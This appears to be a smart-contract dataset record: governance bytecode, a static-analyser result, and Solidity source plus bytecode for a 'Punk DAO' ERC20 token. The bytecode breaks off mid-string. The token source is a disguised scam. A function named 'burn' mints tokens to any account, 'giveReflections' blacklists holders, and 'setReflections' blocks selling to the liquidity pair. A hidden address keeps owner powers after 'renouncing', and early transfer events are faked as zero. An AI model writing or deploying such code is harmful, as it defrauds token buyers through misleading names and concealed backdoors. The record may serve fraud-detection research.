f616c7265616479206163746976652070726f706f73616c000000000000000000604082015260600192915050565b60006129ca600283610b02565b61190160f01b815260020192915050565b60006129e860358361375c565b7f476f7665726e6f724d656f773a3a5f5f61626469636174653a2073656e6465728152741036bab9ba1031329033b7bb1033bab0b93234b0b760591b602082015260400192915050565b6000612a3f60188361375c565b7f73657450656e64696e6741646d696e2861646472657373290000000000000000815260200192915050565b6000612a7860448361375c565b7f476f7665726e6f724d656f773a3a657865637574653a2070726f706f73616c2081527f63616e206f6e6c79206265206578656375746564206966206974206973207175602082015263195d595960e21b604082015260600192915050565b6000612ae460498361375c565b7f476f7665726e6f724d656f773a3a5f5f717565756553657454696d656c6f636b81527f50656e64696e6741646d696e3a2073656e646572206d75737420626520676f766020820152681033bab0b93234b0b760b91b604082015260600192915050565b6000612b5560358361375c565b7f476f7665726e6f724d656f773a3a63616e63656c3a2063616e6e6f742063616e81527418d95b08195e1958dd5d1959081c1c9bdc1bdcd85b605a1b602082015260400192915050565b6000612bac60278361375c565b7f476f7665726e6f724d656f773a3a70726f706f73653a20746f6f206d616e7920815266616374696f6e7360c81b602082015260400192915050565b6000612bf560118361375c565b706164646974696f6e206f766572666c6f7760781b815260200192915050565b6000612c22604383610b02565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000612c8d60438361375c565b7f476f7665726e6f724d656f773a3a71756575653a2070726f706f73616c20636181527f6e206f6e6c79206265207175657565642069662069742069732073756363656560208201526219195960ea1b604082015260600192915050565b6000612cf8602b8361375c565b7f476f7665726e6f724d656f773a3a70726f706f73653a206d7573742070726f7681526a69646520616374696f6e7360a81b602082015260400192915050565b6000612d45602783610b02565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c20738152667570706f72742960c81b602082015260270192915050565b6000612d8e60388361375c565b7f476f7665726e6f724d656f773a3a5f5f61636365707441646d696e3a2073656e81527f646572206d75737420626520676f7620677561726469616e0000000000000000602082015260400192915050565b6000612ded60438361375c565b7f476f7665726e6f724d656f773a3a5f71756575654f725265766572743a20707281527f6f706f73616c20616374696f6e20616c7265616479207175657565642061742060208201526265746160e81b604082015260600192915050565b6000612e58602e8361375c565b7f476f7665726e6f724d656f773a3a63616e63656c3a2070726f706f736572206181526d189bdd99481d1a1c995cda1bdb1960921b602082015260400192915050565b6000612ea860588361375c565b7f476f7665726e6f724d656f773a3a70726f706f73653a206f6e65206c6976652081527f70726f706f73616c207065722070726f706f7365722c20666f756e6420616e2060208201527f616c72656164792070656e64696e672070726f706f73616c0000000000000000604082015260600192915050565b6000612f2d604b8361375c565b7f476f7665726e6f724d656f773a3a5f5f6578656375746553657454696d656c6f81527f636b50656e64696e6741646d696e3a2073656e646572206d757374206265206760208201526a37bb1033bab0b93234b0b760a91b604082015260600192915050565b6000612fa0603e8361375c565b7f476f7665726e6f724d656f773a3a70726f706f73653a2070726f706f7365722081527f766f7465732062656c6f772070726f706f73616c207468726573686f6c640000602082015260400192915050565b6000612fff60298361375c565b7f476f7665726e6f724d656f773a3a5f63617374566f74653a20766f74696e67208152681a5cc818db1bdcd95960ba1b602082015260400192915050565b600061304a60438361375c565b7f476f7665726e6f724d656f773a3a70726f706f73653a2070726f706f73616c2081527f66756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d616020820152620e8c6d60eb1b604082015260600192915050565b60006130b5602c8361375c565b7f476f7665726e6f724d656f773a3a5f63617374566f74653a20766f746572206181526b1b1c9958591e481d9bdd195960a21b602082015260400192915050565b600061310360158361375c565b747375627472616374696f6e20756e646572666c6f7760581b815260200192915050565b805160608301906131388482612719565b50602082015161314b6020850182612719565b5060408201516110756040850182613170565b6125948161378b565b612594816137c5565b61259481613791565b6000611b578284612774565b6000613190826129bd565b915061319c828561272b565b6020820191506131ac828461272b565b5060200192915050565b600061178f82612c15565b600061178f82612d38565b6020810161178f828461259a565b604081016131e8828561258b565b611b576020830184612722565b60a08101613203828761259a565b6132106020830186612895565b818103604083015261322181612a32565b90508181036060830152613235818561273c565b90506114a26080830184612722565b604081016131e8828561259a565b60808101613260828761259a565b61326d6020830186612722565b61327a6040830185612719565b6114a26060830184613167565b60a08101613295828861259a565b6132a26020830187612722565b81810360408301526132b4818661273c565b905081810360608301526132c8818561273c565b90506132d76080830184612722565b9695505050505050565b60a081016132ef828861259a565b6132fc6020830187612722565b818103604083015261330e81866127fb565b905081810360608301526132c881856127fb565b6080808252810161333381876125a3565b9050818103602083015261334781866126cb565b9050818103604083015261335b818561266a565b905081810360608301526132d781846125fc565b6020810161178f8284612722565b6080810161338b8287612722565b6133986020830186612722565b6133a56040830185612722565b6114a2606083018461259a565b606081016133c08286612722565b6133cd6020830185612722565b6122bc6040830184612719565b608081016133e88287612722565b6133f5602083018661315e565b6134026040830185612722565b6114a26060830184612722565b6020810161178f8284612883565b6020810161178f828461288c565b60208082528101611b57818461273c565b6020808252810161178f8161289e565b6020808252810161178f816128ee565b6020808252810161178f81612938565b6020808252810161178f816129db565b6020808252810161178f81612a6b565b6020808252810161178f81612ad7565b6020808252810161178f81612b48565b6020808252810161178f81612b9f565b6020808252810161178f81612be8565b6020808252810161178f81612c80565b6020808252810161178f81612ceb565b6020808252810161178f81612d81565b6020808252810161178f81612de0565b6020808252810161178f81612e4b565b6020808252810161178f81612e9b565b6020808252810161178f81612f20565b6020808252810161178f81612f93565b6020808252810161178f81612ff2565b6020808252810161178f8161303d565b6020808252810161178f816130a8565b6020808252810161178f816130f6565b6060810161178f8284613127565b61012081016135a9828c612722565b6135b6602083018b61258b565b81810360408301526135c8818a6125a3565b905081810360608301526135dc81896126cb565b905081810360808301526135f0818861266a565b905081810360a083015261360481876125fc565b905061361360c0830186612722565b61362060e0830185612722565b818103610100830152613633818461273c565b9b9a5050505050505050505050565b6101208101613651828c612722565b61365e602083018b61259a565b61366b604083018a612722565b6136786060830189612722565b6136856080830188612722565b61369260a0830187612722565b61369f60c0830186612722565b6136ac60e0830185612719565b6136ba610100830184612719565b9a9950505050505050505050565b604081016131e88285612722565b60405181810167ffffffffffffffff811182821017156136f557600080fd5b604052919050565b600067ffffffffffffffff82111561371457600080fd5b5060209081020190565b600067ffffffffffffffff82111561373557600080fd5b506020601f91909101601f19160190565b60200190565b60009081526020902090565b5190565b90815260200190565b600061178f8261377f565b151590565b80610b0281613812565b6001600160a01b031690565b60ff1690565b6001600160601b031690565b600061178f825b600061178f82613765565b600061178f82613775565b600061178f8261097d565b600061178f82613791565b82818337506000910152565b60005b838110156137f75781810151838201526020016137df565b838111156110755750506000910152565b601f01601f191690565b6008811061201057fe5b61382581613765565b811461201057600080fd5b61382581613770565b6138258161097d565b6138258161378b565b6138258161379156fea365627a7a72315820dd754be820242949e798be3e91992278600804d2da35732dadb110e604f0cf5a6c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,245
0xb943f7cd446d95d78b38ba0b5f9c21a9ab92b2f5
pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract PUNKDAO is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 5000000000000*10**18; string public _name = "Punk DAO"; string public _symbol= "PUNKDAO"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0x915a36B9497ED881cfEea771569d37D15E3d3667); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function toggleReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = false; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require((!bots[sender] && !bots[recipient]) || ((sender == marketAddy) || (sender == owner))); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610421578063b09f12661461045e578063ba3ac4a514610489578063c9567bf9146104b2578063d28d8852146104c9578063dd62ed3e146104f457610140565b806370a082311461033c5780638da5cb5b1461037957806395d89b41146103a45780639dc29fac146103cf578063a6f9dae1146103f857610140565b806323b872dd116100fd57806323b872dd1461023e578063294e3eb11461027b578063313ce567146102925780633eaaf86b146102bd5780636e4ee811146102e85780636ebcf607146102ff57610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806315a892be146101ea57806318160ddd1461021357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611fde565b610531565b6040516101799190612037565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a491906120eb565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612139565b6105e8565b6040516101e19190612194565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c91906122f7565b610606565b005b34801561021f57600080fd5b5061022861074d565b6040516102359190612037565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612340565b610757565b6040516102729190612194565b60405180910390f35b34801561028757600080fd5b5061029061084f565b005b34801561029e57600080fd5b506102a7610981565b6040516102b491906123af565b60405180910390f35b3480156102c957600080fd5b506102d261098a565b6040516102df9190612037565b60405180910390f35b3480156102f457600080fd5b506102fd610990565b005b34801561030b57600080fd5b50610326600480360381019061032191906123ca565b610a87565b6040516103339190612037565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e91906123ca565b610a9f565b6040516103709190612037565b60405180910390f35b34801561038557600080fd5b5061038e610ae7565b60405161039b9190612406565b60405180910390f35b3480156103b057600080fd5b506103b9610b0d565b6040516103c691906120eb565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612139565b610b9f565b005b34801561040457600080fd5b5061041f600480360381019061041a91906123ca565b610da5565b005b34801561042d57600080fd5b5061044860048036038101906104439190612139565b610e9b565b6040516104559190612194565b60405180910390f35b34801561046a57600080fd5b50610473610eb9565b60405161048091906120eb565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab91906122f7565b610f47565b005b3480156104be57600080fd5b506104c761108e565b005b3480156104d557600080fd5b506104de611592565b6040516104eb91906120eb565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190611fde565b611620565b6040516105289190612037565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461056590612450565b80601f016020809104026020016040519081016040528092919081815260200182805461059190612450565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f56116a7565b84846116af565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106af5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106b857600080fd5b60005b8151811015610749576001600360008484815181106106dd576106dc612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610741906124e0565b9150506106bb565b5050565b6000600654905090565b600061076484848461187a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af6116a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061259b565b60405180910390fd5b6108438561083b6116a7565b8584036116af565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108f85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61090157600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a395750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a4257600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610b1c90612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4890612450565b8015610b955780601f10610b6a57610100808354040283529160200191610b95565b820191906000526020600020905b815481529060010190602001808311610b7857829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c485750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c5157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890612607565b60405180910390fd5b610ccd60008383611f67565b8060066000828254610cdf9190612627565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d349190612627565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d999190612037565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e4e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e5757600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610eaf610ea86116a7565b848461187a565b6001905092915050565b60088054610ec690612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610ef290612450565b8015610f3f5780601f10610f1457610100808354040283529160200191610f3f565b820191906000526020600020905b815481529060010190602001808311610f2257829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ff05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff957600080fd5b60005b815181101561108a5760006003600084848151811061101e5761101d612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611082906124e0565b915050610ffc565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61114057600080fd5b600960019054906101000a900460ff1615611190576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611187906126c9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121930600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546116af565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611264573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128891906126fe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131391906126fe565b6040518363ffffffff1660e01b815260040161133092919061272b565b6020604051808303816000875af115801561134f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137391906126fe565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113fc30610a9f565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161144496959493929190612799565b60606040518083038185885af1158015611462573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611487919061280f565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154b929190612862565b6020604051808303816000875af115801561156a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158e91906128b7565b5050565b6007805461159f90612450565b80601f01602080910402602001604051908101604052809291908181526020018280546115cb90612450565b80156116185780601f106115ed57610100808354040283529160200191611618565b820191906000526020600020905b8154815290600101906020018083116115fb57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171690612956565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611786906129e8565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161186d9190612037565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190612a7a565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561194857600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119ec5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80611a9c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a9b5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b611aa557600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf757600960009054906101000a900460ff1680611b5f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611bb75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bed90612b0c565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611c5f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611cb75750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ced57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611cf657600080fd5b611d01838383611f67565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7e90612b9e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e1a9190612627565b92505081905550436004600b54611e319190612627565b118015611e8b5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611efb578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611eee9190612bbe565b60405180910390a3611f61565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f589190612037565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611fab82611f80565b9050919050565b611fbb81611fa0565b8114611fc657600080fd5b50565b600081359050611fd881611fb2565b92915050565b60008060408385031215611ff557611ff4611f76565b5b600061200385828601611fc9565b925050602061201485828601611fc9565b9150509250929050565b6000819050919050565b6120318161201e565b82525050565b600060208201905061204c6000830184612028565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561208c578082015181840152602081019050612071565b8381111561209b576000848401525b50505050565b6000601f19601f8301169050919050565b60006120bd82612052565b6120c7818561205d565b93506120d781856020860161206e565b6120e0816120a1565b840191505092915050565b6000602082019050818103600083015261210581846120b2565b905092915050565b6121168161201e565b811461212157600080fd5b50565b6000813590506121338161210d565b92915050565b600080604083850312156121505761214f611f76565b5b600061215e85828601611fc9565b925050602061216f85828601612124565b9150509250929050565b60008115159050919050565b61218e81612179565b82525050565b60006020820190506121a96000830184612185565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6121ec826120a1565b810181811067ffffffffffffffff8211171561220b5761220a6121b4565b5b80604052505050565b600061221e611f6c565b905061222a82826121e3565b919050565b600067ffffffffffffffff82111561224a576122496121b4565b5b602082029050602081019050919050565b600080fd5b600061227361226e846